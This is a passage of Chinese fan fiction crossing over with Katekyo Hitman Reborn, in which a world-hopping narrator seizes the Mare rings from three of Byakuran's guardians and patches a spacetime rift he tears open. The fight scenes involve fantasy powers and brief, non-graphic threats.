如果不使用火焰还好说,已经被毁掉的世界几乎没有留存下多少世界意识,但一旦有强力的玛雷指环火焰爆发,世界意识就会迅速应激——毕竟,家教的世界观下,所有的平行时空都在一条水平线上,世界意识交互连接,只要有一个世界还没有被毁灭,所有的世界意识就都有被重新激活的可能。 世界死了,但世界意识还有生机。 尤其是当这个世界,重新出现生命的时候。 真六吊花三人组没有穿越的实际经验,根本不知道要如何快速适应世界规则、调整自己的力量。 看桔梗现在的表情,应该已经发现到,自己体内的力量也非常不稳定了吧? 看来火焰不仅仅和觉悟有关,也必须遵守一定的世界压制。明白了,等我回去了就马上着手模拟世界规则或者世界意识。在穿越司的不同位置,使用不同的规则,确保动力系统稳固循环。 聪明极了,真不愧是我。 “认清楚形势了就赶紧坐好,我也不为难你们,交出玛雷指环,然后回答我几个问题,我就把你们送回去,怎么样,很公平吧?” 第115章 口头说服似乎效果不大, 但物理说服的效果拔群! 我把手上的三个玛雷指环穿成了一串,故意在三个花面前晃荡。 你们的指环很好,但现在是我的了。 怎么不算是一种NTR呢? 桔梗还算冷静, 蓝铃简直眼神喷火, 如果说眼神能杀人,我现在一定已经被万箭穿心。 但理智讨论,我并不是很害怕万箭穿心这个项目。 更何况, 没有指环,又有世界意识的压制,他们完全无法脱离我的强|制爱(bushi) “真的要守口如瓶吗,只要你们告诉我, 白兰把7^3的石板藏在哪里, 我马上就可以送你们回去。” 我掏出一把长枪指着他们,“不论未来想做什么,都得先保命,只有活着才能有未来——我可没有虚张声势,想想石榴的下场。怎么, 你们想要步他的后尘?” 我绞尽脑汁进行威胁。 虽然说实话, 这把长枪没有一点特殊力量,就是个单纯的空架子——毕竟我也想尽可能地在世界意识之下保持低调。 可只要没人知道这点, 就等于这点不存在, 所以震慑力满分。 “别白费力气了,你可以杀了我们, 但我们不会背叛白兰大人。”桔梗的眼神很坚定, 他一点也不畏惧我的枪尖, 面色坦然地已经做好了迎接死亡的准备。 蓝铃愤愤不平, 雏菊则是满目恐惧, 但他们在对白花花忠诚这一点上,都毫无疑问达成了共识。 虽然立场对立,但还是得佩服他们这样视死如归的精神。 “难顶。” 我扶额,对着这样的表情,我真的很难下手——尤其是蓝铃,她看上去和尤尼酱一样大! 我的良心在滴血。 如果面前是白花花反而好办了,我可以猛猛揍他,毫无心理负担的那种。 甚至可以整一点花活,可惜了,白花花不在这里。 那就只能先回去了。 毕竟这里的战斗系统本身就依赖于指环和火焰。没有了玛雷指环,真六吊花也没有那么无懈可击。 我在心里默默腹诽的时候,完全忘记了先前无数次对墨菲的吐槽。 也就是,念叨什么来什么。 我最先感觉到的是一股极其微弱的空间波动,由远及近——非常微弱,弱到这股力量已经穿过了我的身体,我才真正确认了这个波动的存在。 我的手一紧,纸老虎枪马上就变了形。 这个波动没有停留,穿过我的身体之后,迅速飞向了远方,并且很快穿过大地,离开了这个世界。 像是扫描一样。 我一怔,转头便发现眼前三个人似乎也都感觉到了某种东西穿过身体的异样。毕竟都是有战斗经验和战斗过往的人,我尚未剜走他们胸口的修罗匣子,微量火焰应该也对他们的身体产生了影响。 只不过,他们并没有我的经验,第一时间并没有搞清楚这股力量的来源。 但这也说明力量不是专门冲着我来的,而是一种无差别的扫描,而且是世界级的扫描。 在这个世界上,除了我,就只有白花花拥有这种能力。 他已经发现了异常,所以开始在平行世界中寻找了? 不,不可能。 玛雷指环带来的平行时空不会产生时间错位——“时间”是彭格列的关键词——我拖着真六吊花三人穿越才几分钟,就算是白花花也不可能反应这么快。 甚至可以说,正因为是白花花,以他的自负,根本不可能意识到自己的计划失败,也不会实时追踪自己手下的战斗状况。 哪怕真的意识到了异常,也不会想到我是把他的守护者都拖到了平行世界之中。 那就只有一种可能了。 窥探平行世界,原本就在他的日程单上。他没有出现在战斗前线、没有亲自寻找尤尼酱,应该就是在窥视平行世界。 习惯性开挂的玩家确实是这样的,开新关卡之前,总要找找攻略。 “啧!”我烦躁地皱眉。 白花花的幸运是EX吗? 八兆亿个世界,他竟然还能歪打正着,这么快找到我吗? 我特意挑选的已毁世界,这种世界对白花花来说,已经没有多少价值了。 我猜测,他窥探平行世界,很可能是担心尤尼酱再次把自己的灵魂转移到其他世界中去,毕竟也有尚未完全毁灭的世界。 真六吊花去彭格列夺取尤尼酱的身体,他则是在密鲁菲奥雷的安全地带窥探平行世界确认尤尼酱的灵魂,这样就能确保他这次可以拥有真正的尤尼酱,毕竟只有真正灵|肉双全的尤尼酱,才能激活彩虹之子的奶嘴、才能激发7^3真正的力量。 还真是什么都让他考虑到了。 结果没找到尤尼酱,反倒是把我找了出来。至于白花花能不能意识到我的波动,这种小事……拜托,幸运E对幸运EX,这个问题真的需要思考吗? 现在唯一庆幸的就是白花花他只能窥探平行世界,并不能穿……— “轰!” 头顶骤然响起的一片强烈雷击打算了我的思路,直将天空都撕成了两半。我猛地抬头,就见撕裂的天空正中,那道黑洞般的裂痕里,有一道光在凝聚。 我眯眼,再好的视力也无法穿过几万米的高空——但,我能感觉到,那股回溯收缩的剧烈空间波动。 艹!!! 要不要这么灵啊! 我毫不犹豫地后撤,有些变形的枪身支撑起身体,猛然向后一翻! 下一秒,那根留在原地的枪就被惊雷劈中,被无形的力量碾成了一地碎片。 完全来不及惊叹,那束电光就是直奔向我,像一条龙棘,用近乎光的速度冲了过来。 躲不开,根本躲不开! 我抬手,强硬地接下了这一击。 嘶——麻、麻、麻! 这股电光仿佛完全不受世界意识的压制,狠厉得毫不留情。 不过,我和白花花之间确实没有任何情分可言。 天空之上,那道黑色的裂痕越来越大,带起了一股没有来由的飓风,将地面的废墟都卷了起来。 四周的世界有一瞬间的褪色,空间变成,太阳的形状都被拉成了椭圆,三维空间硬是几乎被压成了平面图。 我应对世界意识的方式,是适应它的规则,随之改变。 白花花就不一样了,受到任何一点阻碍,他的第一反应都是将阻碍撕裂。 他把世界外壁完全撕开了啊! 这家伙的手段真是和其他的同位体一模一样,这不正是用来攻坚我的穿越司外壁防御的东西吗! 好家伙,一招鲜吃遍天下。 他究竟有没有一点危机感,知不知道时空乱流究竟有多危险! 这是完全不在意世界的安危吗? 哦对了,他都毁灭八兆亿个世界了,他真的不在意。 可是我在意。 拥有大规模杀伤性力量的熊孩子真可怕。 我这下也顾不得其他了,手环上的文字蔓延到手上,体内的「书」被刺激到了极致,释放出巨量的白色锁链。 唯一一个不算好消息的好消息,这里的世界意识被撕开了,所以对我的压制也消失了一大半。 白色的锁链可锁不住没有实体的电光,但锁链融合在一起,组合成的巨大豆豆人,一口将电光吞了进去。 论封印,我很有经验的。 一层一层的锁链内收,穿在电光上压紧。 这个带着火焰的攻击不难对付,白兰毕竟没有亲自穿越过来,真正麻烦的是头顶的洞! 平行世界版女娲补天,但,没有补天石。 纯手动,全凭想象力。 我先是用锁链将裂缝两边缝合——但是不行,那个黑洞的引力强得可怕,远看只有一指宽的裂缝,靠近才发现,大概有几万米、甚至几十万米长,至少是锁链无法蔓延到的距离。 当然,也可能是某种黑洞属性,而非是单纯的距离。 紧接着,我又尝试用「书」的纯力量直接朝上糊抹——但可以想见,世界不匹配,文野的「书」根本无法和这个世界融合出稳定的结构,只能延缓空间撕裂的速度,但无法真正中止毁灭结局。 裂痕仍在扩大,即使没有了外力撕扯,时空乱流的强大引力也已经入侵了这个世界。地面的废墟开始上浮,整个世界仿佛上演了一场巨大的5D版地爆天星。 世界很广阔,世界意识的规则也很强大。但对于由八兆亿个世界摩擦而成的时空乱流来说,一个世界的内部力量委实不够看。 反过来说,一个已经毁掉的世界在八兆亿世界组成的世界群中,不够分量。 但重点不在这一个世界。 谁知道这个口子打开之后,会不会有更严重的后果,完整的世界被卷入时空乱流,就等于给原本就不稳定的暴乱力量,加了个可以找到任何世界的高O导航。 我不希望这股乱流进一步扩大,更不希望打破八兆亿个平行世界之间存在的微妙平衡。 但是要怎么处理时空乱流和破碎的世界? 我当然不知道。 我如果知道的话,就直接采纳基友和宰的建议,用时空摩擦产生的能量作为穿越司动力源了。 胸前的口袋在发烫,里面的戒指在叫嚣于自己的存在感。 福至心灵—— 玛雷指环,一个存在于这个世界观下的空间系能力。 考虑到这原本就是被玛雷指环适格者撕开的裂痕,同样系统的力量,或许能够填补这一空间缝隙。 只不过——我的火焰补习计划可没有交出及格分。 入我动漫门,激我热血魂,所谓训练必失败,关键时刻必爆种的定律,今天也要用在我身上了吗? 我把三个指环都套在手上——虽然先前模拟的都是和「荒霸吐」更接近的岚属性,但谁知道我真正的属性是什么。 只要能激发任意一个指环,就有火焰可用。 觉悟、觉悟——我的觉悟。 且不谈论对穿越司的责任,我总要想办法解决自己的失禁体质,希望能在白花花的身上获得一些灵感。 “呼——”我长舒一口气,紧紧盯着手指上三个带小翅膀的指环。 给我着火,我命令你着火,马上! “噗!” 突如其来的声音在这个正在被“地爆天星”的嘈杂世界里异常清晰,让我第一时间还以为,是火焰燃起的声音——指环燃火的声音比一般火焰燃烧的声音要大得多。 但缓了一秒之后,我意识到,这是我身体传来的声音。 我迟一步缓缓低头,便看着自己胸口穿过一支长长的剑,正中心脏。 …… 为什么我就是一点都不觉得意外呢? 第116章 说实话, 被背刺对我来说,都已经是固定项目了。 眼下的情况更是家常便饭,完全称不上意外。 而且在这个已经没有多余生命体的世界里, 不需要回头都能想到凶手。 撕裂的空间不仅解除了规则对我的压制, 他们三人也同样获益。 我低头,剑尖上冒着紫色的火焰,云的属性显然指向了桔梗。 但玛雷指环不是在我的手上吗? 真六吊花的修罗开匣都是改变自己身体的状态, 这也是匣子嵌在他们身体内的意义。 石榴除了身体里的匣子和脚下的飞行助具,身上完全没有携带其他武器——看来桔梗没有他自信,也比他谨慎。 身上竟然还藏着其他武器匣子和备用指环。 我应该更果断一点,把他扒光光的。 “认真的?现在?” 我低头, 一把抓住了仍然在云的增殖属性下不断延长拓宽的剑身, 毫不费力地将其折断。红色线条逆向侵蚀,将坚固的武器掏空。 比起石榴的战斗方式,这把剑的火焰量着实不大,大概是受限于备用指环的级别限制;或是仍不适应这个世界——即使世界意识的规则被白花花从外面撕裂了,但束缚解开却需要更多时间。 我转过身去, 站在缓缓上升的废石上, 居高临下。 呼——呼——我暗暗拉长呼吸。这个距离还不算高,毕竟在上个世界强效脱敏了一次, 我还能稳住心态, 保持冷酷无情的表情管理。 “我死了,你们可就再也回不去了, 也许是会给这个世界陪葬, 也许是会流落到其他已经被毁灭的世界。时空乱流会把你们拆散, 相信我一个人怀揣着对回家的渴望, 却孤独的死在另外一个被同位体毁掉的世界, 绝对不是什么好玩的事。” 那可比单纯的死亡可怕多了。 如果我没有记错的话,真六吊花几乎都是被白花花聚集起来的社会边缘人——毫无疑问,他们都恐惧于孤独。白花花对他们有知遇之恩,所以他们的忠心无懈可击。 不过,毁灭世界? 婉拒了哈。 “是你,或是白兰大人,这难道真的算是个选择题吗?”在这种情况下,桔梗显然是三人中的主心骨,他丢掉了被我掰断的剑,中指的指环也应声而断。 和云雀一样,普通的指环完全承受不住他们的火焰输出量。 毕竟是白花花的亲信下属,他很快就反应过来,除了我之外,能够做到穿越甚至是影响平行世界的,就是有玛雷指环的BOSS一人。 他抓住了这个机会,想要杀死我。 只不过,他没有预料到,这样的攻击下,我非但没死,甚至谈笑风生。 蓝铃有些虚张声势地大喊,“只要杀了你,白兰很快就会把我们接回去的。” 她抓着旁边桔梗的衣服,似乎是在等待着对方再次出手。 只是……这句话由蓝铃说出来就很难评。因为我记得,她好像就是白花花自己下的杀手吧。 同位体的白花花,也是白花花。 她和石榴是唯二两个真正意义上死在自己BOSS手上的守护者,多少有点小丑了。 “清醒一点啊,你们都已经走反派路子了,怎么能这么天真,背刺这种东西可是广泛存在于人与人之间的关系里的。” 大地已经完全被拆解成块,在黑洞的强烈吸力下,密集地冲上天空——地面的上升,让我甚至感觉不到太多距离差,恐高症状大幅缓解。 唯一的问题就是,这个吸力越来越强,上升的速度也越来越快,撞击和摇晃带来的失重感有些要命,我有点想吐。 蓝铃没有再多说话,她和桔梗是一类人,她身上是真没有什么后手武器,连备用指环都是桔梗交给她的。 但也和石榴一样,她没有任何犹豫,就用这个备用的一次性指环强行打开了胸口的匣子。 漂亮的鱼尾甩起蓝色的火焰,如海浪一般在空中卷了起来。 意外的是,她并非为了攻击。 虽然放了要杀我的狠话,但显然桔梗已经失败,蓝铃的雨之火焰只是迅速将他们三人包裹起来——她是盾。 她用雨之火焰的镇静属性制造了一个凭空而起的“安全屋”。 只是这个“安全屋”的火焰供应严重不足。 备用指环果然无法满足蓝铃修罗开匣的火焰需求,强行开匣也依然后继无力。 雏菊躲在她的鱼尾巴后面,警惕地盯着我,晴之火焰已经随时做好了准备。 仔细想想,这三人小组的搭配非常合理。 主攻加指挥的桔梗、防御手段丰富的蓝铃,和晴之奶妈雏菊。 我很快意识到,这个防御的“安全屋”不是为了躲避来自我的攻击,而是为了在这个已经被撕裂的世界之中自保。 如果世界毁灭无可避免,那他们眼下的首要目标从杀我转向自救是必然的。 距离天空愈发近,我更清晰地看到了那条天空裂缝,和裂缝后无尽的黑暗。同时,我也确认了另外一件事, 那条缝隙远没有我预料中的大——没有几万米、没有几十万米,我的封印锁链无法连接它,绝不是单纯的距离因素,而是来源于裂缝的其他效果。 因为先前穿越司所经历的一切,我好像有些高估了白花花。 他没有办法直接将世界撕裂,只能撕开一个裂口,然后将一切交给时空乱流。 半空中那锁链凝聚的白色大球里,逐渐消散的雷电声光就是证据——典型的后继无力。 如果没有人持续捣乱的话…… 我的大脑快速转动,乱七八糟的想法一拥而上——这件事不是第一次发生,我不是已经在穿越司经历过一次了吗? 比起马上将壁垒恢复原状,打补丁其实才是最直接的手段。 对,我没有必要一步到位让其恢复原状,只要尽快填补起缺口就够了。 灵光一闪,一个奇妙的想法在我脑中形成。 我果断摘下了食指上的指环——雨属性的玛雷指环。 接着,我就直接把它丢给回给了那团让人无法忽视的水球。 蓝铃几乎是猛虎扑食般地冲过去,接住了指环。 在她急不可耐地想要戴上指环之前,桔梗按住了她的手,满眼警惕地看向了我。 我摊开手,露出一个我自认为无比和善的笑容,“看样子今天不会是你们的忌日了。” 他们这些被选中的适格者,在死亡之前都拥有指环的所有权。蓝铃一眼就辨识出真假,甩开了抓住她的手,将指环戴回了中指。 桔梗或许有所怀疑,但她更想赶紧重新掌控力量。 戴上玛雷指环的瞬间,那团水球“安全屋”骤然放大,原本浅如清水的蓝色瞬间浓郁成海。别的不说,单论火焰量,主角团完全无法和真六吊花相提并论。 有了玛雷指环的加成,即使拉开了距离,我都能感觉到扑面而来的水汽。 “就算你把指环还回来,蓝铃我也是绝对不会救你的,笨——蛋——!”蓝铃甩动鱼尾,雨之火焰全力输出,仿佛要将自己的觉悟榨干一般。 为什么他们打火都这么容易?! 我不服。 “就像白兰想要的那样,永远地留在这个世界吧!” 就连白花花每次窥探完平行世界都会显露清晰的疲惫和过耗,她自然不敢有丝毫留手,将防御力拉满,浓郁的水球隔绝了外界的引力,完全由她掌控。 “你就是让我进去,我也不会进的。” 不管这个世界的话,我随时可以离开,不至于流落到时空乱流中。 不知道蓝铃是忘记了自己被我拖过来的过程,还是单纯地想找机会放放狠话。 我抵抗着黑洞的引力向下一跳,几个躲避停在了蓝铃的“安全屋”面前。 她紧紧地攥着自己的右腕,手指上的玛雷指环翅膀张开,将火焰的属性拉到极致。 镇静。 雨属性特有的能力,可以将一切混乱冲刷无声——同样的力量体系,又是与时空乱流的混乱相反的镇静属性,这岂不正是用来应对乱流的最佳补丁? 蓝铃不知道我的打算,只是警惕地看着我。 “事先提醒一下,如果承受不住,就把指环摘掉。”我没有点明接下来即将发生的事,只是单纯地做了个预警,“我会看着你的。” 如果有榨干她的危险,我就把她拖出来。 我尽力展露出友善的姿态,但效果似乎有些不如人意。 蓝铃更警惕了,如果不是周围的环境太危险,我想她会直接冲出来,先下手为强。 我露齿一笑,抬手将不远处的锁链召了回来,锁链拉扯成网,交错在水球之下。 “你要干什么!” 桔梗的手上赫然已经戴上了新的指环,随时准备应对反击。 我嘻嘻一笑,“放心,只是给你们添一把动力而已。” 不然的话,球体上升的速度也太慢了。 锁链托底,松开再绷紧,像个弹弓将水球投射向了高处。 事实上,我没有多少准头。但有一个时空黑洞的好处就在于,我不需要瞄准。 蓝铃没有预料到我的动作,她只是全神贯注地完成自己“盾”的使命,想要应对任何突发事件。她将火焰压得更紧实,整个球的颜色更加浓烈,纯粹的蓝焰几乎要和黑洞的颜色重叠在一起。 我挥手,用锁链拨开了四周一切废墟,给蓝铃清理出一条绝对畅通的路径。 “蓝铃,停下!” 远远的,我都能听到桔梗的声音。 虽然他不明白我的意图,但大概是觉得,作为敌人,和我唱反调准没错。 “已经晚啦!” 锁链抽在坚固的水球表面—— 蓝铃派旋风陀螺小补丁,出击! 第117章 我知道, 即使蓝铃真的察觉到了危险,也绝不会在极短的时间内,做出削减火焰的危险决定。 相反, 正是因为我的存在给她带来了威胁, 她才会更加不遗余力地将火焰的阈值拉高。 火焰多一点,再多一点。 人在极度危险和没有安全感的情况下,总是容易做出最可怕的设想和激烈的反抗。 就这样, 在高速的冲击下,巨大的蓝色水球冲上了天空。紧随其后的是锁链,就勾在水球的正下方。我拽着锁链另外一端,用力地拉扯着, 以防这股力量速度过快, 直接冲出这个世界。 得给缝隙一个反应和适应的时间。 裂痕黑洞的力量真是意料之中的强! 我几乎没有可以依靠的定点,只能将我自己固定在原地。 晃荡的水球撞在黑洞中心,激烈的火花炸开,时空乱流的力量、我的力量和蓝铃的力量谁也不愿相让,激烈的对抗着。 尤其是蓝铃对我的敌意。 “撕拉——!” 两相拉扯的力量, 在水球的底部撕开一个细微的裂口。但就是这一个小小的裂口, 打破了蓝铃“安全屋”的绝对封闭性。 顿时,浓郁的火焰喷射而出。 蓝铃慌乱地想要控制自己的火焰, 重新将“安全屋”搭建严密, 却猛然发现裂痕之间对火焰的吞噬,完全不是她能抵抗的。 她瞪着眼睛, 怒视我。 “别这么看我, 这次的力量真不是来源于我。” 更何况, 这不也是在填补白花花做下的孽吗? 我吐了吐舌头, 也不管蓝铃有没有听到我的声音, 或是读懂我的口型,机不可失,我得抓紧时间。 正如我所料,这个被玛雷指环撕开的裂痕,也可以接受玛雷指环的填补。 只不过,火焰只是材料,修补可是个技术活。 我双手用力一拍,穿透了水球的锁链就汇聚在一起,激烈的白光快速融合,组合成了一个刮板,将火焰都吸在上面。 填补空缺! 高端危险的时空裂缝,往往只需要采用最朴素的填补方式。 把雨之火焰揉巴揉巴混合着我的力量填入空隙,不就像是把粉笔碾碎加水填在教室墙上吗?这活儿我熟,以前我也没少干。 蓝铃的鱼尾甩动着,让火焰附着在鳞片上。这是她平时最常用的火焰驱动方式,像一条真正的鱼,用自己的尾巴带动起火焰,控制火焰的方向。 她在尝试和我对抗。 但这次她真是搞错了对手,和她拉锯的,又岂是我一人? 时空乱流席卷的力量不是常人能够抵抗的。 很快,雨之火焰就粗略地塞满在空隙,形成了一层不算均匀的腻子,被另外的钩子拉扯着,将黑洞完全填补成了蓝色。 时空裂缝本身并不危险,真正危险的是,透过这个裂缝钻进来的乱流。 混乱的力量撞在雨之火焰上,便马上被拖慢了速度。 镇静和混乱对冲,一时间竟然真的让整个世界都安静了下来。 差不多了。 我的手凭空一攥,白色的“刮板”裂开,在我的操控下化为一颗颗巨大的钉子。 其他力量无论多少都无法真正横跨裂痕,但却能围着裂痕边缘,将被拉扯扩散的蓝色屏障钉在天空。 没有技巧,全是蛮力。 效果相当可观,原本飘浮着的大地一瞬间便失去了将它们拉上天空的“黑洞力”。先是在空中微微一滞,紧接着力场翻转,地心引力重新占据了上风,大地开始坠落。 加速坠落。 从高处向下俯望,真是比“流星坠落”的横滨还要可怕,几乎就是整个世界上升再下落——和白花花毁灭世界的手段不遑多让,「荒霸吐」看了都直呼大哥。 这才是“天灾”。 现在反倒是要庆幸,这是个已经被毁灭的世界,不然我都不敢想,得是什么样的人才能在这种天灾中活下来。 就连我,都得集中精力躲避不断穿过我身边的飞沙走石——超级大块的飞沙走石,时不时还要被不明飞行物砸几下。 蓝铃那条大海色的鱼尾不知不觉已经暗淡下来,裂痕的边缘仍然在无节制地抽取着她指环上的火焰。 即使如此,她仍然不愿意脱下指环。 这不是完全忘记了我的嘱托吗? 都说了,如果承受不了,就赶紧把指环脱掉。 但反过来想想,她又怎么可能在这种时候听从一个敌人的话? 我的提前嘱咐,说不定反而会激起蓝铃的逆反心理。 我眼睛一眯,看到水球中的桔梗已经在不断调整自己的位置,他尝试用双手控制蓝铃,似乎是想要把她的指环摘下来。 但那个震动的水球内部,雨之火焰不断被制造,又不断被强行抽走,像有一条无限延长的绳索拉动着水球旋转。 那里面简直是个无限放大的滚筒洗衣,哪怕是桔梗都很难在里面维持平衡,更别提要精准取下蓝铃小手上的指环了。 不过,作为真六吊花中的指挥官,桔梗马上就做出了自己的应对。 不知是为了自救还是为了拯救蓝铃,他用那完全不够级别的备用指环强行开匣,紫色的火焰顿时爬满全身,饱和度超高的绿色头发疯狂的延长,一撮一撮地糅合在一起,化为了绿色的迅猛龙头。 鳞片沿着胸口的修罗匣子蔓延,鳞片逆向张开增加着在雨之火焰中的摩擦力用以降速,增殖的云属性火焰很快就撑住了水球的内沿,拉力内收,想要强行停止水球的快速转动。同时,几乎在无限蔓延的头发也凭借着数量优势,抓住了蓝铃的身体,将其强行拉到了桔梗身边。 即使这个行动无法停止裂缝带来的拉力,但至少也能稳住他的身体,拉进他和蓝铃的距离。 火焰的榨取已经让蓝铃脱力,桔梗的计划不会受到多少阻碍。 好机会! 我的手向下一拉,在桔梗摘下蓝铃指环的瞬间,几颗钉子将水球彻底冲散,没有人控制的雨之火焰更加无法与吸力对抗,裂痕最后一点的缝隙马上将其全部吸附起来—— “砰!” 我赶紧把钉子打进去,将雨之火焰的架构支撑得更加稳定。 但不够,还不够! 我把「书」的力量拆解,以蓝铃的力量为蓝本,在补丁之外,再多加固了一层“白板”作为保险——这股和世界不符的力量无法直接填补缺口,但若只是压在补丁外面,却并不难。 就连残缺的世界意识都会迅速在自己的世界内,接纳钉子。 乱流经过雨之火焰降速,若仍能进入这个世界,就会打在白板上。 只有这样,才算是完成了对世界壁垒的粗浅修补。 完工! 蔚蓝的天空上,有一块明显颜色异常、形状古怪的纯白色块。 丑陋、诡异,但好用。 虽然过程有些顺利过了头,就仿佛世界意识自己也在挣扎着想要自我保护一样。 我满意地看着自己的杰作。 然后就这样开始下坠。 ——差点忘了,还有那三个人。 真六吊花可比我狼狈多了。 我灵巧地在坠落的大地之间跃动,慢慢朝他们的方向靠近,捞一手,至少要捞回原本的世界再做打算。 不过,他们可没打算把自己的命都押宝在我这个敌人的身上,迅猛龙将三人团在一起——尤其是蓝铃,她已经褪去了人鱼的模样,虚弱到失去了意识,只能被桔梗抱在怀里。 大量的火焰抽离对她产生了极大的负担。 不知道为什么,我的良心好痛。 和桔梗背靠背的雏菊让火焰集中在自己身前,向下推进,对抗着地心引力带来的持续加速。 和纲吉一样的飞行原理。 雏菊负责提供动力,桔梗负责掌控方向——后者不断增值的迅猛龙和头发,不但可以组成羽翼调整方向,还能清除无法躲避的障碍。 堪称完美。 但此时的地面却完全不易降落,巨量的尘灰飘荡,涌起迷雾般的环境,海洋和陆地交错,板块错位撞击都让地面变得极不稳定。 我看着手上剩下的两枚玛雷指环。 白花花无法分辨世界与世界之间的差别,想要重新定位这个世界,最直接的方式就是依靠同一套玛雷指环之间的联系。 天空上那个雨之补丁,可承受不起第二次撕扯了。 不能给白花花第二次入侵的机会。 想罢,我便冲向了真六吊花三人组。 几只普通的迅猛龙完全无法拖住我的脚步,甚至无法延缓我的速度。 我头铁,直接硬撞了过去,精准掐住了桔梗的脖子。 别误会,我并不是要马上对他动手,而是要迅速控制住被头发丝穿过,正戴在桔梗脖子上的蓝铃指环。 就在我冲入他防御内的瞬间,无数迅猛龙发疯似的朝我攻击,我能够感觉到尖锐的牙齿刺入我的身体,整件衣服几乎都被染成了另外一个黏糊糊的铁锈色,浓烈得发黑。 但,我没有一点退缩。 “都抓紧了,掉到其他世界里,就连你们的‘白兰大人’也捞不着你们了。” 毕竟,八兆亿分之一,没有锚点,想要找到某一个特定的世界也太难了。 毫无疑问的是,我的返回,当然也需要锚点。 以玛雷指环为基础穿越,也以玛雷指环为锚点返回。 当然,不是白花花的那只指环。我找的,是被斯库瓦罗带回彭格列基地的岚之指环。 我眼前的世界一白,环境骤然褪色,雪盲般的空间里,穿梭着无数的平行线条。 在这之中,清晰的力量连接在玛雷指环上,给我指明了返回的路径。 第118章 作为一个穿越老油条, 我很轻易地看到了那条在时空间隙之间流淌的线条,它是向导。橘色、红色、绿色还有靛色交织在一起,和尤尼酱带来的指引不同, 这是那个世界的玛雷指环。 所以, 这个引导不会转瞬即逝,而是会一直连在另外的指环上——我手指上的指环、还有蓝铃手上的。 甚至,我都可以感觉到一点被动的拉扯。 或许是另外一边的邪恶摇粒绒也没有那么邪恶, 说不定他真的在努力把他的队友拉回来呢? 如果拉不回队友,把指环拉回来也是好的。 真六吊花可以再替换,但玛雷指环在单一世界内具有唯一性。 不论是指环特性,还是白花花的主观能动, 我都感谢这股拉力。 实在是抗击时空乱流的穿越, 让我感到些许疲惫。 特别是当其他几个人都不配合我的时候。 迅猛龙咬着我的手腕,大概是想要阻止我抢夺蓝铃戴着的指环。但这种匣兵器的力量完全无法在时空乱流的消磨中存留,很快就被搅碎了一大半。 桔梗的备用指环承受不了更多的火焰输出,几乎到了破碎的边缘。 即使如此,他依然没有放弃添乱。 就像他自己说的, 他绝对相信白花花。所以即使搅碎了迅猛龙的力量肉眼可见的危险, 他也要趁着这个无法分开的机会,继续刺杀我。 用专业穿越的眼光来分析, 我真的不推荐在穿过的过程中分神去做其他事。 专注, 以免自找麻烦。 我明白这个道理,不代表其他人也能想通——甚至不想想通, 说不定他们对白花花的忠心到了可以拉着我同归于尽的地步。 雏菊的手从迅猛龙的缝隙中伸了出来, 想趁着这个混乱的时候, 把手指上其他两只指环也摸下来。 小偷小摸, 达咩! 难道以为我会因为迅猛龙的攻击而忘记下面还有一个人的存在吗? 我反手抓住了雏菊的手, 用力得几乎要碾碎他的手骨,一股强烈冲动让我想要将他直接甩下去。 这里可是时空缝隙,别说雏菊手上没有戴指环,就是戴了,晴的属性也无法在这种环境里保护他,只能延长他的死亡过程。 可以想见,他的死状会很惨。 ……算了,我大人有大量。 感觉把人丢到时空缝隙这种事,是白花花的剧本,我不能沦落到和他一个阶梯的道德水平。 高一个台阶也是高。 很快,彩色的线条就引领我冲向了终点。 时空壁垒对我来说,如有实体。穿过的瞬间,我就看到了彩色线条的分离——它们对应着不同的玛雷指环锚点。 我没有摆烂,毫不犹豫地选择了红线——红色,是岚属性的颜色。 那个指环应该已经被斯库瓦罗带回彭格列基地内了。 壁垒背后,新鲜的海风拂面而来,我清晰地感觉到,时空乱流中的混乱在跨过某个点的瞬间自动交织在一起,形成了某种外部屏障,使内部变得稳定。 与此同时,规则带来的束缚感也重新加诸在我身上。 一个猜想在我的脑内盘桓,也许世界意识带阿狸的规则,就是绕过这些乱流自主交织成壁的原因——乱流就像毛线,规则就像毛衣针,在这个八兆亿的平行时空之间,世界找到了自己的稳定方式和生存方式。 这是其他单一世界所没有的,甚至连有IF线存在的文野世界都没能形成这种自保性质的能力。 八兆亿个世界带来的风险,果然并非一般的时空能够相提并论。 适者生存——这个词即使宏观到世界、时空层面也依然适用。 回归主世界规则的不止我一人,真六吊花三人组也是一样。 不一样的是,我在规则之下重新被束缚,而他们的能力则是不再受世界之外的束缚。 他们本就属于这个世界,所以本世界的世界意识带来的规则,不是压制,而是让他们恢复原本的强大。 只不过,我早就做好了心理准备和应对调整,真六吊花三人可没有,尤其是桔梗。 他不相信我,所以为了在乱流中自保,几乎将释放力量当作了本能。和先前的蓝铃一样,桔梗在无节制地压榨自己的火焰,而同时,他又对返回的时机毫无把控。 这就导致,穿过壁垒的同一时间,云之火焰大盛,紫色的光几乎将我们四人全部包裹了起来。增殖的迅猛龙超越了阈值和桔梗的预期,在毫无控制的情况下,无序缠绕在一起,将四个人紧紧挤压,围成了一个“龙球”。 实心的“龙球”。 桔梗前面抱着蓝铃,背后是伸过手来和我十指相扣的桔梗,我保持着前冲的姿势,另一只手几乎穿到了蓝铃的手指前,不过桔梗不希望我夺走雨之指环,所以用自己的胳膊架住了我。 我们四人之间原本有不少空余的空间,但骤然增多的迅猛龙向内挤压,将我们紧紧地绑在了一起。 无处安放的六条腿,搅在一起。 这个姿势有点搞笑,除了蓝铃,每个人都是绝佳体操运动员,挑战身体柔韧的极限。 我+桔梗+雏菊=《我们仨》。 “砰。” 靠得足够近,我听到了桔梗手指上传来的声音。 原本就是苦苦支撑的备用指环,在过量的输出之后,终于还是彻底破碎。 这样,桔梗就不具备继续增大火焰输出的能力了。 我能事后诸葛亮的说一句,除了这个姿势,一切都在我的计算之中吗? 我用力一捏,制止了雏菊仍不放弃的小偷小摸行为,模拟的岚之火焰爆发,从内部侵蚀起紧实的迅猛龙。 还真别说,桔梗的龙很强,哪怕是石榴的招数也没有那么容易瓦解全部的龙。当然,与之相比,桔梗的反应力和临场应变则更值得称道。 他无法预见火光大盛的第一秒,没能控制龙的增殖,但他意识到自己的力量恢复稳定正常,也只需要这一秒。 对我来说,这些龙确实是无序的,但对他来说不是。 每条龙都连接着他的头发,如臂使指。 每一条龙的眼睛都是他的眼睛,被压成球的黑暗里,他看到了和雏菊十指相扣的我。 电光石火之间,我感觉到手边一热,几个龙头整排张开嘴,毫不留情地咬在我的手臂上。 像是打算直接嚼碎我的手臂。 他就意识到了,只要切断了我的手,就能把云、晴两个指环重新夺回来。 我不甚在意,在黑暗中摸索着,想要寻找一下蓝铃的手。 但几秒之后我便选择放弃。 不为别的,只因为桔梗的攻击实在是太痒了! 